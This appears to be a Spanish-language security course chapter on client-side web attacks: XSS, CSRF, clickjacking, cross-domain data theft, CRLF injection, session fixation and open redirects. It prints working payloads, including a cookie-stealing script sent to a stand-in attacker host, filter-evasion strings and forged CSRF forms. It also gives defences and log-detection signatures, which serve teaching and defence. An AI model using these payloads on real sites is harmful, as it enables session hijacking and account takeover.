Panorama#

Los capítulos de inyección atacan al servidor: rompen el contexto de datos de un intérprete para reescribir la orden que la aplicación ejecuta (ver 3.2 · Inyección). Esta clase mira en la dirección contraria. La vulnerabilidad sigue viviendo en la aplicación, pero el objetivo ya no es el back-end: es otro usuario —normalmente uno más privilegiado, un administrador con sesión activa—. La aplicación es solo el vehículo; la víctima real está del otro lado de la pantalla.

Bajo la variedad de técnicas hay una sola idea, y es el reverso de la anterior. Toda esta familia explota la confianza que el navegador deposita en el origen. El browser trata al código y a los datos que llegan desde un dominio como legítimos de ese dominio, y adjunta las credenciales de la víctima —la cookie de sesión— a cada request que sale hacia él, sin importar quién originó ese request. La same-origin policy, la barrera que supuestamente aísla a un sitio de otro, es a la vez lo que hace posibles estos ataques y lo que el atacante trabaja para eludir. Todo se reduce a dos preguntas sobre la sesión de la víctima:

  1. ¿Puedo ejecutar mi código en el contexto de su origen? Si sí, hereda todo lo que ese origen puede hacer: leer sus cookies, actuar como ella, reescribir la página que ve. Esa es la familia XSS.
  2. ¿Puedo forzar que su sesión emita una acción que yo elijo, sin ejecutar código? Si sí, no necesito robar nada: uso su sesión ya autenticada como ariete. Esa es la familia de la request forgery (CSRF/OSRF), el clickjacking y sus parientes.

Este capítulo recorre las dos ramas. Empieza por el XSS —la vulnerabilidad web más prevalente y la que más lejos llega cuando se explota bien— con su arsenal de evasión de filtros, que es lo que lo hace un caso de estudio. Sigue con la request forgery, el clickjacking y la captura de datos cross-domain, que funcionan justamente donde el XSS no llega. Y cierra con las grietas de la same-origin policy y la lección que une a toda la clase: la defensa no es un parche por técnica, sino tres controles estructurales —codificar la salida, atar cada acción sensible a un secreto impredecible, y no dejar que un origen ajeno hable por el propio—. Todo se apoya en el mapa de la superficie de ataque de 3.1 · Metodología: cada parámetro, cookie o cabecera que se refleja en una página o dispara una acción es un punto de entrada a probar.

flowchart TD
  ATK["Atacante quiere\ncomprometer a OTRO usuario"] --> Q1{"¿Puedo ejecutar\nmi código en su origen?"}
  Q1 -->|"sí — reflejo / almacenamiento / sink DOM"| XSS["XSS\n(hereda el contexto del origen:\ncookies, acciones, la página)"]
  Q1 -->|"no, pero puedo forzar una acción"| Q2{"¿La acción sensible\ndepende solo de la cookie?"}
  Q2 -->|"sí"| CSRF["Request forgery\n(CSRF / OSRF)"]
  Q2 -->|"con anti-CSRF token"| UIR["Clickjacking\n(el token se procesa normal)"]
  XSS --> DEF["Defensa transversal:\noutput-encoding · anti-CSRF token ·\naislar el origen (CSP / SameSite / XFO)"]
  CSRF --> DEF
  UIR --> DEF

XSS: ejecutar código en el contexto ajeno#

El cross-site scripting (XSS) es la vulnerabilidad web más común y el arquetipo del ataque contra otros usuarios. El defecto es simple: la aplicación toma un dato controlado por el atacante y lo devuelve dentro de una página sin neutralizar su sintaxis, de modo que el navegador de la víctima lo interpreta como código —HTML o JavaScript— y lo ejecuta. Que ese código corra en el contexto del origen vulnerable es lo que lo hace grave, y la razón está en la propia same-origin policy: las cookies de un dominio solo las puede leer código servido por ese dominio. Un script alojado en mdattacker.net no puede tocar las cookies de mdsec.net; pero un script que mdsec.net refleja de vuelta al navegador se ejecuta como si mdsec.net lo hubiera escrito, y entonces sí las lee. De ahí el nombre: el script es “cross-site”, viene de otro sitio, pero corre con la identidad del sitio víctima.

Las tres variedades#

Difieren solo en cómo llega el script hasta la página de la víctima:

  • Reflected (reflejado, ~75% de los casos): el input viaja en un request y la aplicación lo devuelve en la respuesta inmediata, sin guardarlo. Una página de error como ?message=<script>alert(1)</script> que imprime el parámetro sin codificar. El payload va y vuelve en un solo intercambio (first-order), así que la explotación requiere que la víctima siga un enlace preparado por el atacante.
  • Stored (almacenado, second-order): el input de un usuario se guarda en el servidor —un comentario, un nombre de perfil, una entrada de log— y se sirve a otros usuarios más tarde. Es más grave: la víctima ya está usando la aplicación cuando el payload dispara, con sesión activa y a menudo autenticada. Un comentario con <script> que un administrador lee desde su panel compromete la cuenta más poderosa del sistema sin que el atacante tenga que engañar a nadie para que siga un enlace.
  • DOM-based: el servidor devuelve HTML estático y limpio; es el JavaScript del propio cliente el que lee un dato de la URL (document.location, document.URL, location.hash) y lo escribe en la página a través de un sink peligroso (document.write, innerHTML, eval). El payload nunca aparece en la respuesta del servidor, y si va tras el # (el fragment) el navegador ni siquiera lo envía al servidor —lo que evade cualquier filtro del lado servidor de un solo golpe—.

Qué se logra (más allá de robar la sesión)#

El payload clásico exfiltra el token de sesión a un servidor del atacante:

<script>new Image().src="https://mdattacker.net/?c="+document.cookie;</script>

Con esa cookie, el atacante reingresa como la víctima (el session hijacking de la gestión de sesión que se trata en 3.4 · Autenticación, sesión y acceso). Pero el robo de sesión es apenas la superficie. Un XSS bien explotado puede:

  • Reescribir la página que la víctima ve (virtual defacement): inyectar contenido engañoso sin tocar el servidor —un falso comunicado, un precio alterado—.
  • Montar un login falso troyanizado: reemplazar el formulario real por uno que manda las credenciales al atacante y luego loguea a la víctima en la aplicación auténtica, sin que note nada. La URL es la del dominio real, con su certificado válido: infinitamente más creíble que un phishing clonado.
  • Inducir acciones “como” la víctima: el propio script realiza operaciones en su nombre. El worm Samy de MySpace (2005) se agregaba como amigo y se copiaba al perfil de cada víctima que veía un perfil infectado; alcanzó un millón de perfiles en menos de un día. La misma técnica sirve para escalar privilegios sin saber quién es administrador: inducir a todos a intentar otorgarle permisos al atacante, y cuando el que cae es un admin, se gana.
  • Abusar relaciones de confianza del navegador: en zonas de confianza mal configuradas (la Trusted Sites de IE), un XSS podía instanciar new ActiveXObject('WScript.Shell').Run('calc.exe') y saltar del navegador a la ejecución de comandos en la máquina.
Un XSS “de bajo impacto” rara vez lo es. Un stored XSS “solo visible para uno mismo”, combinado con un control de acceso roto que deja editar el perfil ajeno (ver 3.4), se convierte en la toma de la aplicación entera. La gravedad de un XSS no se mide en aislamiento, sino por lo que encadena.

Detección: por contexto sintáctico, no por firma#

El proof-of-concept rápido —lanzar "><script>alert(1)</script> a cada parámetro— encuentra alguno pero pierde muchos. El método completo es sistemático: enviar una cadena alfabética única y benigna a cada punto de entrada, localizar cada reflexión en la respuesta, y determinar el contexto sintáctico exacto de cada una, porque el payload que funciona depende de dónde cae el dato:

Contexto de la reflexiónEjemploEscape típico
Texto entre etiquetas<div>X</div><script>alert(1)</script>
Valor de atributo<input value="X">"><script>… (cerrar el tag) o " onfocus="alert(1) (inyectar handler sin salir)
Dentro de una cadena JavaScriptvar a='X''; alert(1); //
Atributo que espera una URL<a href="X">javascript:alert(1)

La reflexión hay que buscarla en GET, en POST y también en cabeceras (Referer, User-Agent reflejados en páginas de error). El punto conceptual: un XSS no se detecta con un string mágico, sino entendiendo cómo el navegador va a parsear el lugar donde el dato aterminó.

El arsenal de evasión de filtros#

Lo que hace del XSS un caso de estudio —y lo que dedica el grueso del capítulo fuente— es el catálogo de técnicas para atravesar filtros que intentan bloquear el payload. Un filtro basado en firmas (buscar <script>, alert, javascript:) es una blacklist, y toda blacklist es incompleta. Las familias de bypass:

1. Formas alternativas de introducir script. No hace falta la etiqueta <script>:

<img src=x onerror=alert(1)> # event handler, dispara sin interacción <input autofocus onfocus=alert(1)> # HTML5, se auto-enfoca <iframe src=javascript:alert(1)> # pseudo-protocolo en atributo URL <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <x style=x:expression(alert(1))> # CSS dinámico (IE antiguo)

2. Ofuscación de HTML, el corazón del bypass. Sobre <img onerror=alert(1) src=a>:

  • Case: <iMg> vence filtros sensibles a mayúsculas.
  • NULL bytes: <i%00mg> o o%00nerror —un truco de IE que además rompe los WAF escritos en código nativo, donde el NULL termina la cadena y el filtro no ve el payload que sigue—.
  • Base tag hijacking: <base href="https://mdattacker.net/"> redirige todos los <script src> relativos a un servidor del atacante.
  • Delimitadores raros: espacio reemplazado por /, %09, %0d, %0a (<img/onerror=…>); comillas de atributo con backticks en IE (<img src=aonerror=…>).
  • HTML-encode del valor (a&#x6c;ert(1), en hex o decimal, con ceros de más, sin ; final): el navegador lo decodifica antes de procesarlo, evadiendo el filtro que buscaba el literal.
  • Corchetes inválidos y charsets: %253cimg (doble URL-decode), comillas angulares Unicode que el framework “traduce” a <>, UTF-7 (+ADw-script+AD4-), o multibyte Shift-JIS, donde un byte inicial “come” la comilla siguiente y permite escapar del atributo.

3. Ofuscación de JavaScript, para vencer filtros de keywords:

eval('al'+'ert(1)') # concatenación eval(String.fromCharCode(97,108,101,114,116,40,49,41)) # sin literales 'alert(1)'.replace(/.+/,eval) # eval sin nombrarlo with(document)alert(cookie) # sin el punto de document.cookie <script language=vbs>MsgBox 1</script> # VBScript: case-insensitive, sin ()

4. Vencer la sanitización (cuando el filtro no bloquea sino que elimina):

  • Strip no recursivo de <script>: <scr<script>ipt>alert(1)</script> deja uno bien formado tras el borrado.
  • Escapar el escape: si el filtro antepone \ a las comillas pero no escapa el propio \, entonces foo\'; alert(1);// neutraliza su defensa.
  • Si escapa \ y comillas pero deja pasar <>: </script><script>alert(1)</script> —el parseo de etiquetas HTML gana sobre el de cadenas JavaScript—.

5. Vencer límites de longitud: payloads cortos (<script src=//a></script>, 26 bytes), spanning del script entre varios campos con comentarios /*…*/, o el truco más elegante —convertir un reflected en DOM-based—: inyectar <script>eval(location.hash.slice(1))</script> (un payload corto y fijo) y poner el código real, arbitrariamente largo, tras el #, donde ningún filtro del servidor lo verá.

Un detalle que subvierte el consejo estándar: en un event handler, el HTML-encode no defiende, porque el navegador HTML-decodifica el valor del atributo antes de ejecutarlo como JavaScript. foo&apos;; alert(1);// dentro de un onclick se decodifica a foo'; alert(1);// y corre. Por eso la defensa correcta no es solo codificar, sino no meter input en contextos ejecutables (ver la sección de defensa).

Request forgery: forzar la acción sin robar el token#

La segunda rama no ejecuta código: abusa del comportamiento del navegador para que la sesión de la víctima emita un request que ella no pidió. El atacante nunca ve ni necesita el token de sesión; explota que el navegador adjunta las cookies automáticamente a cada request dirigido al dominio que las emitió, venga de donde venga ese request.

OSRF (on-site request forgery) funciona incluso sin XSS y con JavaScript deshabilitado. Si la aplicación codifica <>" (bloqueando el XSS) pero deja pasar el input hacia el src de una imagen —<td><img src="X">—, entonces un valor como ../admin/newUser.php?username=x&role=admin# hace que cualquiera que vea ese mensaje dispare un GET on-site; cuando lo ve un administrador, se crea el backdoor. El HTML-encode no defiende aquí porque el navegador decodifica la URL antes de pedirla; la cura es validar el input (rechazar / . ? & =).

CSRF (cross-site request forgery, o session riding) es la versión cross-site. Una página del atacante contiene un formulario de campos ocultos que se auto-envía al target; el navegador de la víctima logueada adjunta su cookie de sesión sola. La same-origin policy no prohíbe emitir un request a otro dominio (solo prohíbe leer la respuesta), por eso el CSRF clásico es “one-way”: dispara la acción pero no puede leer el resultado. Tres condiciones lo habilitan:

  1. El request realiza una acción privilegiada (crear un usuario, cambiar un email, transferir fondos).
  2. La sesión se rastrea solo por cookies, sin ningún secreto en el cuerpo del request.
  3. El atacante puede determinar todos los parámetros de antemano.
sequenceDiagram
  participant V as Navegador de la víctima
  participant A as Página del atacante
  participant T as Aplicación target
  V->>T: login previo → cookie de sesión guardada
  V->>A: la víctima abre la página del atacante
  A-->>V: HTML con form oculto + onload submit()
  V->>T: POST /transfer (con la cookie de sesión adjuntada sola)
  T->>T: acción ejecutada "como" la víctima
  Note over A,T: el atacante nunca ve la respuesta (one-way)

Un mito frecuente es que pasar la acción a POST protege. No: un self-submitting form la forja igual.

<body onload=document.getElementById('x').submit()> <form id='x' method="post" action="https://bank.example.com/transfer"> <input type='hidden' name='to' value='attacker'> <input type='hidden' name='amount' value='2500'> </form> </body>

Embebido en un <iframe> de 1×1 píxel, el envío ocurre invisible y la víctima nunca ve la navegación. La barrera GET-vs-POST es irrelevante; lo único que importa es si el request lleva un secreto impredecible. En el caso real de PayPal (2013), un cambio de número de teléfono por CSRF derivaba en toma de cuenta completa vía recuperación de contraseña —el patrón habitual: forzar un cambio de email o teléfono lleva al account takeover—.

El anti-CSRF token y sus derrotas#

La defensa estándar es el anti-CSRF token (o nonce): además de la cookie, un valor impredecible en un campo oculto, atado a la sesión y validado en cada envío. El atacante no puede construir el request cross-domain sin conocerlo. Pero la defensa se derrota de varias formas —y probarlas es obligatorio antes de darla por sólida—:

  • Pseudo-token no validado: la aplicación emite el token pero no lo verifica en el servidor. Es sorprendentemente común (el caso del AppCenter de Facebook: borrar el parámetro entero no cambiaba nada). La batería de pruebas obligada contra cualquier token: (1) eliminar el parámetro por completo; (2) dejarlo con valor en blanco; (3) reemplazarlo por una cadena aleatoria de la misma longitud; (4) usar el token de un usuario B estando logueado como A —si pasa, no está atado a la sesión—; (5) ver si es común a todos los usuarios. Si además tiene baja entropía (rango 1–100), el propio exploit lo fuerza por fuerza bruta emitiendo cien <img> con token=1..100.
  • Robo del token vía XSS: con un XSS en la aplicación, document.getElementsByTagName("input")['csrf'].value lee el token del DOM y lo inyecta en el formulario forjado. Por eso un XSS de “bajo impacto” anula toda la protección CSRF de la aplicación: el token deja de ser secreto. (El reflected XSS solo sirve si está en una función no defendida contra CSRF; en la misma página defendida, el propio request inicial ya necesitaría el token.)
  • JSON CSRF: cuando el back-end consume el cuerpo como JSON, muchos lo dan por no forjable porque un <form> produce pares clave=valor, no JSON. El bypass usa enctype="text/plain" para que el navegador no url-encodee, y parte el payload entre el name y el value de un input oculto para absorber el = que el formulario agrega al final:
<form action="https://bank.example.com/transfer" method=post enctype="text/plain"> <input name='{"to":"attacker","amount":2500,"pad":"' value='x"}' type='hidden'> </form> <!-- cuerpo resultante: {"to":"attacker","amount":2500,"pad":"=x"} → JSON válido -->
  • Vector Flash (histórico, pero ilustrativo del principio): un .swf subido con extensión .jpg al dominio principal se ejecuta con el origen de la víctima, lee el HTML con el token y lo pasa a un formulario forjado; Rosetta Flash (Michele Spagnuolo) codifica un SWF a ASCII puro (Huffman) para colarlo en el callback de un endpoint JSONP. Se cierra sirviendo los uploads con Content-Disposition: attachment.
  • Confiar solo en X-Requested-With: usar la presencia de ese header de las llamadas AJAX como defensa es débil —se evade combinando Flash con un redirect 307 que reenvía el cuerpo POST agregando headers arbitrarios—.

Clickjacking: vencer al anti-CSRF con la interfaz#

El clickjacking (o UI redress) resuelve el problema que frena al CSRF cuando hay token. En vez de construir el request, hace que la víctima misma lo dispare. El atacante carga la aplicación target en un <iframe> transparente (opacity:0) superpuesto a una interfaz señuelo; la víctima cree clickear el señuelo pero clickea el botón real del target. La clave: el token anti-CSRF se procesa con normalidad, porque el request se origina de verdad dentro de la aplicación —el navegador lo incluye, aunque el atacante no pueda leerlo por same-origin—. Por eso el clickjacking vence donde el CSRF puro falla.

Variantes: capturar pulsaciones selectivamente pasando solo ciertos caracteres al target, o drag-and-drop (arrastrar texto de un email a un campo del atacante, crear una regla de reenvío, capturar URLs con tokens). La defensa histórica, el framebusting en JavaScript (if (top.location != self.location) top.location = self.location), es circunvenible —un estudio de Stanford halló que los 500 sitios principales eran evadibles—: redefiniendo location, enganchando onbeforeunload, o con el atributo sandbox del iframe. La defensa real es la cabecera X-Frame-Options: deny/sameorigin (o su sucesor CSP frame-ancestors), y hay que recordar aplicarla también a la versión móvil de la interfaz, que suele quedar sin protección.

Robar datos cross-domain#

El CSRF es “one-way” —dispara la acción pero no lee la respuesta—. Varias técnicas lo convierten en two-way limitado, robando datos sensibles o el propio token aun sin un XSS completo:

  • HTML colgante (dangling markup): cuando se puede inyectar algo de HTML pero no <script>, un <img src='https://mdattacker.net/c?= sin cerrar la comilla hace que el navegador trate todo lo que sigue —incluido el campo oculto con el token— como parte de la URL de la imagen, hasta la próxima comilla. El token viaja al servidor del atacante.
  • Inyección de CSS: cuando se bloquean <>, {}*{font-family:' (sin metacaracteres HTML) permite incluir la respuesta como stylesheet desde la página del atacante y leer con JavaScript lo que la propiedad font-family capturó.
  • JavaScript hijacking: si la aplicación entrega datos sensibles como JavaScript ejecutable (JSONP, un array JSON, una variable global), otro dominio los incluye con <script src> y los captura definiendo la función callback o leyendo la variable. La defensa: prefijar las respuestas con datos sensibles (for(;;); que el cliente legítimo elimina) y aceptar solo POST.

Estas técnicas se apoyan en las grietas de la same-origin policy. Flash determinaba el origen por el dominio del .swf y podía hacer requests cross-domain leyendo la respuesta si el destino publicaba un /crossdomain.xml permisivo —<allow-access-from domain="*"/> es un desastre: cualquier sitio monta interacción two-way sobre las sesiones ajenas—. Su equivalente moderno es CORS (HTML5): un XMLHttpRequest cross-domain envía un header Origin y el servidor responde Access-Control-Allow-Origin; combinar Access-Control-Allow-Origin reflejado con Access-Control-Allow-Credentials: true reproduce exactamente el mismo desastre que el crossdomain.xml con * —el tratamiento a fondo de CORS, OAuth y JWT vive en 3.5 · Web moderno—. Y los servicios de proxy (Google Translate) fusionan dominios distintos bajo el suyo, habilitando worms como Jikto que se auto-propagan escaneando otros sitios desde el dominio del proxy.

Otras técnicas: header injection, session fixation, open redirect#

Tres vectores más completan el catálogo del lado cliente:

  • HTTP header injection (CRLF): si el input va a una cabecera de respuesta (Location, Set-Cookie) sin sanitizar, inyectar %0d%0a (CR + LF) mete cabeceras y cuerpo arbitrarios. De ahí sale la cookie injection (%0d%0aSet-Cookie:+SessId%3d…, que fija una cookie en el navegador de la víctima) y el HTTP response splitting: partir la respuesta en dos y, encadenando un segundo request por la URL a envenenar, hacer que un proxy caché guarde el cuerpo del atacante como el contenido de /admin/ —todos los usuarios del proxy reciben el login falso—. Se detecta enviando %0d%0a y viendo si aparece una línea nueva en las cabeceras; se cierra no metiendo input en cabeceras y usando HTTPS end-to-end contra el envenenamiento de caché.
  • Session fixation: en vez de robar el token, el atacante fija en el navegador de la víctima un token que él ya conoce (vía cookie injection, o un parámetro ?SessId=…, o ;jsessionid=…); cuando la víctima se loguea con ese token y la aplicación no lo renueva, el atacante hijackea la sesión ya autenticada. La defensa es emitir un token nuevo en toda transición de anónimo a identificado —parte de la gestión de sesión de 3.4—.
  • Open redirection: un parámetro que fija el destino de un redirect (?redir=https://mdattacker.net/) da credibilidad a un phishing con una URL del dominio auténtico. Los filtros ingenuos se evaden con //mdattacker.net, https: en vez de http:, http://mdsec.net.mdattacker.net, o http://mdattacker.net/?http://mdsec.net. La cura es no meter input en el destino: usar un índice a una whitelist, o validar que la URL es relativa al propio dominio.

Defensa y detección: la lente púrpura#

Toda esta familia comparte que el request malicioso parece legítimo —sale del navegador de la víctima con su cookie válida—, lo que hace la detección server-side difícil y vuelve a la prevención estructural el control primario. Tres pilares niegan la clase entera, y luego la telemetría atrapa lo que se escapa —con la misma lógica de correlación de 4.9 · Defensa de AD aplicada a la capa web—.

Endurecimiento (prevención estructural)#

AmenazaControl primario
XSS (todas las variedades)Output-encoding de todo carácter no alfanumérico (mandatorio; el input-validation es failover), tras canonicalizar; no meter input en <script>, event handlers ni atributos URL; CSP que niegue el script inline y los orígenes externos; para HTML de usuario, whitelist con una librería madura (OWASP AntiSamy), nunca blacklist
DOM-based XSSValidar el dato del DOM en cliente y servidor; escribir con createTextNode, no con innerHTML
CSRF / OSRFAnti-CSRF token impredecible, atado a la sesión y validado server-side; cookies SameSite=Lax/Strict; verificar Origin/Referer en acciones sensibles (no confiar solo en Referer)
ClickjackingX-Frame-Options: deny/sameorigin o CSP frame-ancestors (incluida la UI móvil)
Header injectionNo meter input en cabeceras; si es inevitable, rechazar todo carácter <0x20; HTTPS end-to-end
Session fixationRenovar el token de sesión en anónimo→autenticado; rechazar tokens no emitidos por la aplicación
Open redirectWhitelist o índice; validar destino relativo/propio dominio; nunca input crudo
Grietas SOP/crossdomain.xml y Access-Control-Allow-Origin restrictivos (nunca * con credenciales); uploads con Content-Disposition: attachment; cookies Secure/HttpOnly

Detección (la señal en la telemetría)#

  • Firma del payload en los logs de acceso (WAF/proxy/servidor web): <script, onerror=, javascript:, document.cookie, String.fromCharCode, y las ofuscaciones (%00, &#x, doble-encode, comillas angulares Unicode) delatan el XSS; %0d%0a en parámetros que van a cabeceras delata el CRLF injection; un parámetro redir= con dominio externo, el open redirect.
  • Request de acción sensible con Referer/Origin cross-site o ausente y sin token válido (o con el token de otra sesión): la firma del CSRF/OSRF y del clickjacking. Ráfagas de requests idénticas variando solo un parámetro token señalan la fuerza bruta de un pseudo-token.
  • Conexión saliente del navegador de la víctima a un dominio externo con el token de sesión en la query string (GET /?c=SESSID… Host: mdattacker.net): la señal más clara del robo de sesión por XSS o de la captura cross-domain. El stored XSS, además, deja el payload persistido en la base de datos, disparándose en la vista del administrador.

El emparejamiento púrpura es limpio: el atacante usa la propia sesión de la víctima —un request que parece normal—, así que el defensor no lo caza por el request en sí, sino por su origen cross-site, por la firma del payload en los logs, y por la conexión saliente con el token hacia un dominio externo. La correlación de esas señales a escala de SIEM y el análisis forense de los logs web se desarrollan del lado azul en la Parte 5.

Referencias#

  • red-web/wahh/cap-09Attacking Users: Cross-Site Scripting: las tres variedades de XSS, la detección por contexto sintáctico, y el arsenal completo de evasión de filtros (introducir script, ofuscar HTML/JavaScript, vencer sanitización y límites de longitud, sinks DOM) más la defensa por output-encoding.
  • red-web/wahh/cap-10Attacking Users: Other Techniques: request forgery (OSRF/CSRF y las derrotas del anti-CSRF token), clickjacking, captura de datos cross-domain, grietas de la same-origin policy (Flash/CORS/ proxies), header injection (CRLF → cookie injection y response splitting), session fixation y open redirection.
  • red-web/mmwp/cap-01Cross-Site Request Forgery (moderno): el CSRF contra las defensas posteriores a 2011 — el self-submitting form POST, JSON CSRF con enctype=text/plain, pseudo-tokens no validados, robo de token vía XSS, el vector Flash + Rosetta Flash, y el bypass de X-Requested-With con redirect 307—.
  • OWASP — XSS Prevention, CSRF Prevention, Clickjacking Defense y DOM-based XSS Prevention Cheat Sheets.
  • MITRE — CWE-79 Cross-Site Scripting, CWE-352 CSRF, CWE-1021 UI Redress / Clickjacking y CWE-113 HTTP Response Splitting.